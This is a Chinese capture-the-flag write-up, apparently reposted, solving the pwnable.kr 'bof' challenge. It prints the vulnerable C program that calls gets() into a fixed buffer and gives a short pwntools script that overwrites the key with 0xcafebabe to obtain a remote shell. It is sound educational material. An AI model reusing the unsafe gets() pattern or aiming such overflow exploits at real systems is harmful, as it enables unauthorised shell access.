pwnable.kr第三题:bof
Posted dennyt
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了pwnable.kr第三题:bof相关的知识,希望对你有一定的参考价值。
0x000查看源码
打开bof.c文件
1 #include <stdio.h> 2 #include <string.h> 3 #include <stdlib.h> 4 void func(int key) 5 char overflowme[32]; 6 printf("overflow me : "); 7 gets(overflowme); // smash me! 8 if(key == 0xcafebabe) 9 system("/bin/sh"); 10 11 else 12 printf("Nah..\\n"); 13 14 15 int main(int argc, char* argv[]) 16 func(0xdeadbeef); 17 return 0; 18
源码分析:
要想执行第9行的“system("/bin/sh")”,程序会先判断key的值是否为0xcafebabe,现在最关键的地方就是找到key的位置,并将地址的内容覆盖为0xcafebabe。
0x001分析汇编代码
使用radare2分析汇编代码:
查看main函数
查看func
分析程序可知,用户输入的地址为var int local_2ch @ ebp-0x2c,key存放的地址为arg unsigned int arg_8h @ ebp+0x8,现在,要做的就是计算用户输入的地址到key存放的地址之间相差多少字节,0x8+0x2c,化为十进制结果为52,所以在这段距离中填充任意字符,然后再填充两个字节0xcafebabe,就可以获得一个shell了。
0x002 脚本编写
from pwn import * pwn_socket=remote(‘pwnable.kr‘,9000) pwn_socket.sendline(‘a‘*52+‘\\xbe\\xba\\xfe\\xca‘) pwn_socket.interactive()
运行即可获得一个shell:
以上是关于pwnable.kr第三题:bof的主要内容,如果未能解决你的问题,请参考以下文章